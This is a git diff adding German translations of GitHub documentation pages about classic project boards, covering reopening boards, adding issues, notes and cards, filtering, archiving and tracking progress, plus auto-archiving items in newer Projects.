diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
new file mode 100644
index 0000000000..e8dc15fa90
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
@@ -0,0 +1,37 @@
+---
+title: 'Erneutes Öffnen eines geschlossenen {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst ein geschlossenes {% data variables.projects.projects_v1_board %} erneut öffnen und eine beliebige für das {% data variables.projects.projects_v1_board %} konfigurierte Workflowautomatisierung neu starten.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board
+  - /articles/reopening-a-closed-project-board
+  - /github/managing-your-work-on-github/reopening-a-closed-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Reopen {% data variables.product.prodname_project_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: e0101378c0b7049f7cba5e04dd28231a1237d0c5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109574'
+---
+{% data reusables.projects.project_boards_old %}
+
+Du kannst ein geschlossenes {% data variables.projects.projects_v1_board %} erneut öffnen und eine beliebige für das {% data variables.projects.projects_v1_board %} konfigurierte Workflowautomatisierung neu starten. Weitere Informationen findest du unter [Schließen eines {% data variables.product.prodname_project_v1 %}](/articles/closing-a-project-board).
+
+Wenn du ein {% data variables.projects.projects_v1_board %} erneut öffnest, hast Du die Möglichkeit, die Automatisierung zu *synchronisieren*. Dadurch wird die Position der Karten auf dem Projektboard entsprechend den für das Board konfigurierten Automatisierungseinstellungen aktualisiert.
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, das du erneut öffnen möchtest.
+{% data reusables.project-management.click-menu %}
+3. Wähle aus, ob die Automatisierung für dein {% data variables.projects.projects_v1_board %} synchronisiert werden soll oder beim erneuten Öffnen deines {% data variables.projects.projects_v1_board %} keine Synchronisierung erfolgen soll.
+    - Klicke auf **Reopen and sync project** (Projekt erneut öffnen und synchronisieren), um dein {% data variables.projects.projects_v1_board %} erneut zu öffnen und die Automatisierung zu synchronisieren.
+  ![Schaltfläche „Reopen and sync project“ (Projekt erneut öffnen und synchronisieren) auswählen](/assets/images/help/projects/reopen-and-sync-project.png)
+    - Klicke auf **Reopen only** (Nur erneut öffnen), um dein {% data variables.projects.projects_v1_board %} erneut zu öffnen, ohne die Automatisierung zu synchronisieren. Klicke dann auf **Reopen only** (Nur erneut öffnen).
+  ![Dropdownmenü zum erneuten Öffnen eines geschlossenen Projektboards](/assets/images/help/projects/reopen-closed-project-board-drop-down-menu.png)
+
+## Weiterführende Themen
+
+- [Konfigurieren der Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/configuring-automation-for-project-boards)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
new file mode 100644
index 0000000000..917a2e15f4
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
@@ -0,0 +1,83 @@
+---
+title: 'Hinzufügen von Issues und Pull Requests zu einem {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst einem {% data variables.projects.projects_v1_board %} Issues und Pull Requests in Form von Karten hinzufügen und sie in Spalten einteilen.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board
+  - /articles/adding-issues-and-pull-requests-to-a-project
+  - /articles/adding-issues-and-pull-requests-to-a-project-board
+  - /github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Add issues & PRs to {% data variables.product.prodname_project_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 3adfb2c337a417b8e4f932ab9ae9860939217c6c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109694'
+---
+{% data reusables.projects.project_boards_old %}
+
+Du kannst deinem {% data variables.projects.projects_v1_board %} Issue- oder Pull Request-Karten hinzufügen, indem du:
+- Karten aus dem Abschnitt **Selektierung** auf die Randleiste ziehst.
+- Die Issue- oder Pull-Request-URL in ein Ticket eingibst.
+- Suchen nach Issues oder Pull Requests in der Suchrandleiste des {% data variables.projects.projects_v1_board %}s.
+
+In jeder Projektspalte können maximal 2.500 Tickets enthalten sein. Wenn die maximale Anzahl von Karten in einer Spalte erreicht ist, kannst du keine Karten mehr in diese Spalte verschieben.
+
+![Mauszeiger verschiebt Issue-Ticket von der Einteilungsseitenleiste zur Projektboardspalte](/assets/images/help/projects/add-card-from-sidebar.gif)
+
+{% note %}
+
+**Hinweis**: Du kannst deinem Projektboard auch Notizen hinzufügen, die als Erinnerungen an Aufgaben oder Verweise auf Issues und Pull Requests aus einem beliebigen Repository auf {% data variables.product.product_name %} dienen. Zudem kannst du dem {% data variables.projects.projects_v1_board %} über Notizen auch verwandte Informationen hinzufügen. Weitere Informationen findest du unter [Hinzufügen von Notizen zu einem Projektboard](/articles/adding-notes-to-a-project-board).
+
+{% endnote %}
+
+{% data reusables.project-management.edit-in-project %}
+
+{% data reusables.project-management.link-repos-to-project-board %} Wenn du nach Issues und Pull Requests suchst, die du deinem {% data variables.projects.projects_v1_board %} hinzufügen möchtest, deckt die Suche automatisch die verlinkten Repositorys ab. Du kannst diese Qualifizierer entfernen, um die Suche in allen Repositorys der Organisation auszuführen. Weitere Informationen findest du unter [Verknüpfen eines Repositorys mit einem Projektboard](/articles/linking-a-repository-to-a-project-board).
+
+## Hinzufügen von Issues und Pull Requests zu einem {% data variables.projects.projects_v1_board %}
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, dem Sie Issues und Pull Requests hinzufügen möchten.
+2. Klicke in deinem {% data variables.projects.projects_v1_board %} auf {% octicon "plus" aria-label="The plus icon" %} **Karten hinzufügen**.
+![Schaltfläche „Karten hinzufügen“](/assets/images/help/projects/add-cards-button.png)
+3. Suche mithilfe von Suchqualifizierern nach den Issues und Pull Requests, die du deinem {% data variables.projects.projects_v1_board %} hinzufügen möchtest. Weitere Informationen zu Suchqualifizierern, die du verwenden kannst, findest du unter [Suchen von Issues](/articles/searching-issues).
+  ![Suchen von Issues und Pull Requests](/assets/images/help/issues/issues_search_bar.png)
+
+  {% tip %}
+
+  **Tipps:**
+    - Du kannst auch einen Issue oder Pull Request hinzufügen, indem du die URL in eine Karte eingibst.
+    - Wenn du an einer bestimmten Funktion arbeitest, kannst du eine Kennzeichnung auf jeden zu dieser Funktion gehörenden Issue oder Pull Request anwenden. Dann kannst deinem {% data variables.projects.projects_v1_board %} problemlos Karten hinzufügen, indem du nach dem Namen der Bezeichnung suchst. Weitere Informationen findest du unter [Anwenden von Bezeichnungen auf Issues und Pull Requests](/articles/applying-labels-to-issues-and-pull-requests).
+
+  {% endtip %}
+4. Ziehe die Karte, die du deinem {% data variables.projects.projects_v1_board %} hinzufügen möchtest, aus der gefilterten Liste der Issues und Pull Requests in die richtige Spalte. Alternativ kannst du Karten auch mithilfe von Tastenkürzeln verschieben. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+
+    {% tip %}
+
+    **Tipp**: Du kannst Karten per Drag & Drop oder mit Tastenkombinationen neu anordnen und zwischen den Spalten verschieben. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+
+    {% endtip %}
+
+## Hinzufügen von Issues und Pull Requests zu einem {% data variables.projects.projects_v1_board %} über die Randleiste
+
+1. Klicke rechts neben einem Issue oder Pull Request auf **Projekte {% octicon "gear" aria-label="The Gear icon" %}** .
+  ![Projektboard-Schaltfläche auf der Randleiste](/assets/images/help/projects/sidebar-project.png)
+2. Klicke auf die Registerkarte **Zuletzt verwendet**, **Repository**, **Benutzer** oder **Organisation** für das {% data variables.projects.projects_v1_board %}, dem du ein Element hinzufügen möchtest.
+  ![Registerkarten „Zuletzt verwendet“, „Repository“ und „Organisation“](/assets/images/help/projects/sidebar-project-tabs.png)
+3. Gib den Namen des Projekts im Feld **Projekte filtern** ein.
+  ![Projektboard-Suchfeld](/assets/images/help/projects/sidebar-search-project.png)
+4. Wähle ein oder mehrere {% data variables.projects.projects_v1_boards %} aus, dem du das Issue oder den Pull Request hinzufügen möchten.
+  ![Ausgewähltes Projektboard](/assets/images/help/projects/sidebar-select-project.png)
+5. Klicke auf {% octicon "triangle-down" aria-label="The down triangle icon" %} und anschließend auf die Spalte, die das Issue oder den Pull Request enthalten soll. Die Karte wird an das Ende der ausgewählten {% data variables.projects.projects_v1_board %}spalte verschoben.
+  ![Menü zum Verschieben von Karten in eine Spalte](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)
+- [Bearbeiten eines {% data variables.product.prodname_project_v1 %}](/articles/editing-a-project-board)
+- [Filtern von Karten für ein {% data variables.product.prodname_project_v1 %}](/articles/filtering-cards-on-a-project-board)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
new file mode 100644
index 0000000000..5c98f94ac3
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
@@ -0,0 +1,88 @@
+---
+title: 'Hinzufügen von Hinweisen zu einem {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst einem {% data variables.projects.projects_v1_board %} Hinweise hinzufügen, um an Aufgaben zu erinnern oder Informationen zum {% data variables.projects.projects_v1_board %} bereitzustellen.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board
+  - /articles/adding-notes-to-a-project
+  - /articles/adding-notes-to-a-project-board
+  - /github/managing-your-work-on-github/adding-notes-to-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Add notes to {% data variables.product.prodname_project_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: fc9df02b211056a08ed608a6c98b9d2f0b78c5b7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109790'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% tip %}
+
+**Tipps:**
+- Du kannst den Hinweis mit der Markdown-Syntax formatieren. Du kannst beispielsweise Überschriften, Links, Aufgabenlisten oder Emojis verwenden. Weitere Informationen findest du unter [Grundlegende Schreib- und Formatierungssyntax](/articles/basic-writing-and-formatting-syntax).
+- Du kannst Hinweise per Drag-and-Drop oder mit Tastenkürzeln neu anordnen und zwischen den Spalten verschieben. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+- Dein {% data variables.projects.projects_v1_board %} muss mindestens eine Spalte enthalten, damit du Hinweise hinzufügen kannst. Weitere Informationen findest du unter [Erstellen eines Projektboards](/articles/creating-a-project-board).
+
+{% endtip %}
+
+Wenn du einem Hinweis eine URL für einen Issue, einen Pull Request oder ein anderes {% data variables.projects.projects_v1_board %} hinzufügst, wird in der Zusammenfassungskarte unter deinem Text eine Vorschau angezeigt.
+
+![Projektboard-Tickets mit der Vorschau eines Issues und ein weiteres Projektboard](/assets/images/help/projects/note-with-summary-card.png)
+
+## Hinzufügen von Hinweisen zu einem {% data variables.projects.projects_v1_board %}
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, dem du Hinweise hinzufügen möchtest.
+2. Klicke in der Spalte, der du einen Hinweis hinzufügen möchtest, auf {% octicon "plus" aria-label="The plus icon" %}.
+![Pluszeichen-Symbol im Spalten-Header](/assets/images/help/projects/add-note-button.png)
+3. Gebe die Notiz ein, und klicke dann auf **Add** (Hinzufügen).
+![Feld zum Eingeben eines Hinweises und Schaltfläche zum Hinzufügen eines Tickets](/assets/images/help/projects/create-and-add-note-button.png)
+
+  {% tip %}
+
+  **Tipp:** Du kannst im Hinweis auf einen Issue oder Pull Request verweisen, indem du die entsprechende URL im Ticket eingibst.
+
+  {% endtip %}
+
+## Einen Hinweis in einen Issue umwandeln
+
+Wenn du einen Hinweis erstellt hast und feststellst, dass er für deine Anforderungen nicht ausreicht, kannst du den Hinweis in ein Issue umwandeln.
+
+Wenn du einen Hinweis in ein Issue umwandelst, wird der Inhalt des Hinweises automatisch für das Issue übernommen. Die erste Zeile des Hinweises wird der Issue-Titel; der weitere Inhalt des Hinweises wird zur Issue-Beschreibung hinzugefügt.
+
+{% tip %}
+
+**Tipp:** Du kannst in den Text des Hinweises Inhalte einfügen, um jemanden zu erwähnen (@mention), einen anderen Issue oder Pull Request zu verlinken und Emojis hinzuzufügen. Diese {% data variables.product.prodname_dotcom %}-Markdownfeatures werden in {% data variables.projects.projects_v1_board %}hinweisen nicht unterstützt. Nach Umwandlung des Hinweises in einen Issue werden die Inhalte jedoch korrekt angezeigt. Weitere Informationen zur Verwendung dieser Features findest du unter [Schreiben und Formatieren auf {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github).
+
+{% endtip %}
+
+1. Navigiere zu dem Hinweis, den du in ein Issue umwandeln möchtest.
+{% data reusables.project-management.project-note-more-options %}
+3. Klicke auf **Convert to issue** (In Issue umwandeln).
+  ![Schaltfläche „Convert to issue“ (In Issue umwandeln)](/assets/images/help/projects/convert-to-issue.png)
+4. Wenn sich die Karte auf einem organisationsweiten {% data variables.projects.projects_v1_board %} befindet, wähle im Dropdownmenü das Repository aus, dem du das Issue hinzufügen möchtest.
+  ![Dropdownmenü mit Repositorys, in denen ein Issue erstellt werden kann](/assets/images/help/projects/convert-note-choose-repository.png)
+5. Wahlweise kannst du den vorab ausgefüllten Issuetitel bearbeiten und den Issuetext eingeben.
+  ![Felder für den Issue-Titel und -Text](/assets/images/help/projects/convert-note-issue-title-body.png)
+6. Klicke auf **Convert to issue** (In Issue umwandeln).
+7. Der Hinweis wird automatisch in einen Issue umgewandelt. Im {% data variables.projects.projects_v1_board %} wird die neue Issuekarte an derselben Stelle angezeigt wie zuvor der Hinweis.
+
+## Einen Hinweis bearbeiten und entfernen
+
+1. Navigiere zu dem Hinweis, den du bearbeiten oder entfernen möchtest.
+{% data reusables.project-management.project-note-more-options %}
+3. Klicke auf **Edit note** (Hinweis bearbeiten), um den Inhalt des Hinweises zu bearbeiten.
+  ![Schaltfläche „Edit note“ (Hinweis bearbeiten)](/assets/images/help/projects/edit-note.png)
+4. Klicke auf **Delete note** (Hinweis löschen), um den Inhalt des Hinweises zu löschen.
+  ![Schaltfläche „Delete note“ (Hinweis löschen)](/assets/images/help/projects/delete-note.png)
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)
+- [Erstellen eines {% data variables.product.prodname_project_v1 %}s](/articles/creating-a-project-board)
+- [Bearbeiten eines {% data variables.product.prodname_project_v1 %}s](/articles/editing-a-project-board)
+- [Hinzufügen von Issues und Pull Requests zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
new file mode 100644
index 0000000000..64a404ec48
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
@@ -0,0 +1,38 @@
+---
+title: 'Archivieren von Karten für ein {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst {% data variables.projects.projects_v1_board %}karten archivieren, um deinen Workflow übersichtlich zu halten, ohne die Verlaufsinformationen eines Projekts zu verlieren.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/archiving-cards-on-a-project-board
+  - /articles/archiving-cards-on-a-project-board
+  - /github/managing-your-work-on-github/archiving-cards-on-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Archive cards on {% data variables.product.prodname_project_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: bef90f56a55d6d087c21603586def91ec2f1c9ed
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109689'
+---
+{% data reusables.projects.project_boards_old %}
+
+Die Automatisierung in deinem {% data variables.projects.projects_v1_board %} gilt nicht für archivierte {% data variables.projects.projects_v1_board %}karten. Wenn du beispielsweise einen Issue im Archiv eines {% data variables.projects.projects_v1_board %}s schließt, wird die archivierte Karte nicht automatisch in die Spalte „Fertig“ verschoben. Wenn du eine Karte aus dem {% data variables.projects.projects_v1_board %}archiv wiederherstellst, befindet sich die Karte wieder in der Spalte, aus der sie archiviert wurde.
+
+## Archivieren von Karten auf einem {% data variables.projects.projects_v1_board %}
+
+1. Suche in einem {% data variables.projects.projects_v1_board %} die Karte, die du archivieren möchtest, und klicke dann auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+![Liste der Optionen für das Bearbeiten eines Projektboard-Tickets](/assets/images/help/projects/select-archiving-options-project-board-card.png)
+2. Klicke auf **Archive** (Archivieren).
+![Option zum Archivieren aus Menü auswählen](/assets/images/help/projects/archive-project-board-card.png)
+
+## Wiederherstellen von Karten auf einem {% data variables.projects.projects_v1_board %} über die Randleiste
+
+{% data reusables.project-management.click-menu %}
+2. Klicke auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **View archive** (Archiv anzeigen).
+  ![Option zum Anzeigen des Archivs aus Menü auswählen](/assets/images/help/projects/select-view-archive-option-project-board-card.png)
+3. Klicke oberhalb der {% data variables.projects.projects_v1_board %}karte, die du archivieren möchtest, auf **Wiederherstellen**.
+  ![Wiederherstellung des Projektboard-Tickets auswählen](/assets/images/help/projects/restore-card.png)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md
new file mode 100644
index 0000000000..6045ace051
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md
@@ -0,0 +1,53 @@
+---
+title: 'Filtern von Karten in einem {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst die Karten in einem {% data variables.projects.projects_v1_board %} filtern, um bestimmte Karten zu suchen oder eine Teilmenge der Karten anzuzeigen.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/filtering-cards-on-a-project-board
+  - /articles/filtering-cards-on-a-project-board
+  - /github/managing-your-work-on-github/filtering-cards-on-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Filter cards on {% data variables.product.prodname_project_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: f203785a6fc18dc5f67b2ae62934aa10c2f6e8b8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109558'
+---
+{% data reusables.projects.project_boards_old %}
+
+Auf einer Karte kannst du auf eine beliebige zugewiesene Person, einen Meilenstein oder eine Bezeichnung klicken, um das {% data variables.projects.projects_v1_board %} nach dem betreffenden Qualifizierer zu filtern. Um die Suche zu löschen, kannst du erneut auf dieselbe zugewiesene Person, denselben Meilenstein oder dieselbe Bezeichnung klicken.
+
+Du kannst Karten auch über die Suchleiste „Filter cards“ (Karten filtern) im oberen Bereich des betreffenden {% data variables.projects.projects_v1_board %}s suchen. Zum Filtern von Karten kannst du die folgenden Qualifizierer in beliebiger Kombination verwenden oder einfach den Text eingeben, nach dem du suchst.
+
+- Filtern von Karten nach Autor mithilfe von `author:USERNAME`
+- Filtern von Karten nach zugewiesener Person mithilfe von `assignee:USERNAME` oder `no:assignee`
+- Filtern von Karten nach Bezeichnung mithilfe von `label:LABEL`, `label:"MULTI-WORD LABEL NAME"` oder `no:label`
+- Filtern nach Meilenstein mithilfe von `milestone:MY-MILESTONE`
+- Filtern von Karten nach Zustand mithilfe von `state:open`, `state:closed` oder `state:merged`
+- Filtern nach Reviewstatus mithilfe von `review:none`, `review:required`, `review:approved` oder `review:changes_requested`
+- Filtern nach Überprüfungsstatus mithilfe von `status:pending`, `status:success` oder `status:failure`
+- Filtern von Karten nach Typ mithilfe von `type:issue`, `type:pr` oder `type:note`
+- Filtern von Karten nach Zustand und Typ mithilfe von `is:open`, `is:closed`oder `is:merged` und `is:issue`, `is:pr` oder `is:note`
+- Filtern von Karten nach Issues, die über eine schließende Referenz mit einem Pull Request verknüpft sind, mithilfe von `linked:pr`
+- Filtern von Karten nach Repository in einem organisationsweiten {% data variables.projects.projects_v1_board %} mit `repo:ORGANIZATION/REPOSITORY`
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, das die zu filternden Karten enthält.
+2. Klicke über den Spalten der Projekttickets in die Suchleiste „Filter cards“ (Tickets filtern), und gib eine Suchabfrage ein, um die Tickets zu filtern.
+![Suchleiste zum Filtern von Karten](/assets/images/help/projects/filter-card-search-bar.png)
+
+{% tip %}
+
+**Tipp**: Du kannst gefilterte Karten per Drag & Drop oder mithilfe von Tastenkombinationen zwischen den Spalten verschieben. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+
+{% endtip %}
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)
+- [Hinzufügen von Issues und Pull Requests zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)
+- [Hinzufügen von Hinweisen zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-notes-to-a-project-board)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md
new file mode 100644
index 0000000000..c4c4f0a92b
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md
@@ -0,0 +1,26 @@
+---
+title: 'Nachverfolgen des Fortschritts deiner {% data variables.product.prodname_projects_v1 %}'
+shortTitle: 'Tracking {% data variables.product.prodname_projects_v1 %}'
+intro: 'Erfahre, wie du deine Arbeit auf deinem {% data variables.projects.projects_v1_board %} nachverfolgen kannst.'
+versions:
+  feature: projects-v1
+topics:
+  - Issues
+  - Projects
+children:
+  - /adding-issues-and-pull-requests-to-a-project-board
+  - /adding-notes-to-a-project-board
+  - /tracking-progress-on-your-project-board
+  - /filtering-cards-on-a-project-board
+  - /archiving-cards-on-a-project-board
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 75699a8c8daa2729de4aaa7389b7e9a0448f09fa
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108442'
+---
+{% data reusables.projects.project_boards_old %}
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md
new file mode 100644
index 0000000000..ff016571f2
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md
@@ -0,0 +1,27 @@
+---
+title: 'Nachverfolgen des Fortschritts für dein {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst den allgemeinen Fortschritt für dein {% data variables.projects.projects_v1_board %} in einer Statusleiste sehen.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/tracking-progress-on-your-project-board
+  - /articles/tracking-progress-on-your-project-board
+  - /github/managing-your-work-on-github/tracking-progress-on-your-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Track progress on {% data variables.product.prodname_project_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 5104029ad5225c217697ea89a4bca8ff2d3fa4b5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108439'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data reusables.project-management.project-progress-locations %}
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, in dem du die Nachverfolgung des Projektfortschritts aktivieren oder deaktivieren möchtest.  
+{% data reusables.project-management.click-menu %} {% data reusables.project-management.click-edit-sidebar-menu-project-board %}
+4. Aktiviere oder deaktiviere **Projektfortschritt verfolgen**.
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md
new file mode 100644
index 0000000000..b7235a8b73
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md
@@ -0,0 +1,57 @@
+---
+title: Automatisches Archivieren von Elementen
+shortTitle: Archiving automatically
+intro: 'Du kannst die integrierten Workflows deines Projekts so konfigurieren, dass Elemente, die bestimmte Kriterien erfüllen, automatisch archiviert werden.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2-auto-archive
+type: tutorial
+topics:
+  - Projects
+ms.openlocfilehash: 75346021f51cb8cc373b4a50aef43e0b5c7646dc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107221'
+---
+{% note %}
+
+**Hinweis:** Integrierte Workflows sind im Rahmen einer Betaversion mit eingeschränkten Funktionen verfügbar.
+
+{% endnote %}
+
+## Informationen zum automatischen Archivieren von Elementen
+
+Du kannst die integrierten Workflows deines Projekts so konfigurieren, dass Elemente automatisch archiviert werden. Das Archivieren von Elementen trägt dazu bei, die Obergrenze von {% data variables.projects.item_limit %} Elementen in jedem Projekt einzuhalten.
+
+Du kannst mit den Filtern `is`, `reason` und `last-updated` festlegen, wann ein Element archiviert werden soll.
+
+Wenn du die automatische Archivierung für Issues oder Pull Requests aktivierst, werden auch Elemente in deinem Projekt archiviert, die bereits deinen Kriterien entsprechen. Bei der Archivierung einer großen Anzahl von Elementen, die die Kriterien bereits erfüllen, kann es zu einer gewissen Verzögerung kommen.
+
+Für Projekte gilt außerdem eine Obergrenze für die Anzahl an archivierten Objekten, die sie enthalten können. Dein Projekt kann bis zu {% data variables.projects.archived_item_limit %} archivierte Elemente enthalten. Weitere Informationen zum dauerhaften Löschen von Elementen findest du unter [Löschen von Elementen ](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project#deleting-items).
+
+## Konfigurieren der automatischen Archivierung in deinem Projekt
+
+{% data reusables.projects.access-workflows %}
+1. Klicke in der Liste „Standardworkflows“ auf **Elemente automatisch archivieren**.
+   
+   ![Screenshot der Funktion zum automatischen Archivieren von Workflows](/assets/images/help/projects-v2/archive-workflows.png)
+   
+1. Aktiviere neben **Wann** die Elementtypen, die du automatisch archivieren möchtest.
+   
+   ![Screenshot der Konfiguration von „Wann“ für einen Workflow](/assets/images/help/projects-v2/workflow-when-archive.png)
+
+1. Gib neben {% octicon "filter" aria-label="The filter icon" %} die Filterkriterien ein, die du für die automatische Archivierung von Elementen verwenden möchtest. Du kannst nur die Filter `is`, `reason` und `last-updated` verwenden. Weitere Informationen zur Filtersyntax findest du unter [Filtern von Projekten](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects).
+   
+   ![Screenshot des Filtertextbereichs](/assets/images/help/projects-v2/auto-archive-filter.png)
+   
+1. Wenn der Workflow deaktiviert ist, klicke auf die Umschaltfläche neben **Aus**, um den Workflow zu aktivieren.
+   
+   ![Screenshot der Umschaltfläche „Ein/Aus“ für einen Workflow](/assets/images/help/projects-v2/workflow-enable.png)
+   
+
+## Weitere Informationsquellen
+
+* [Archivieren von Elementen aus deinem Projekt](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project)
+* [Verwenden der integrierten Automatisierungen](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations)
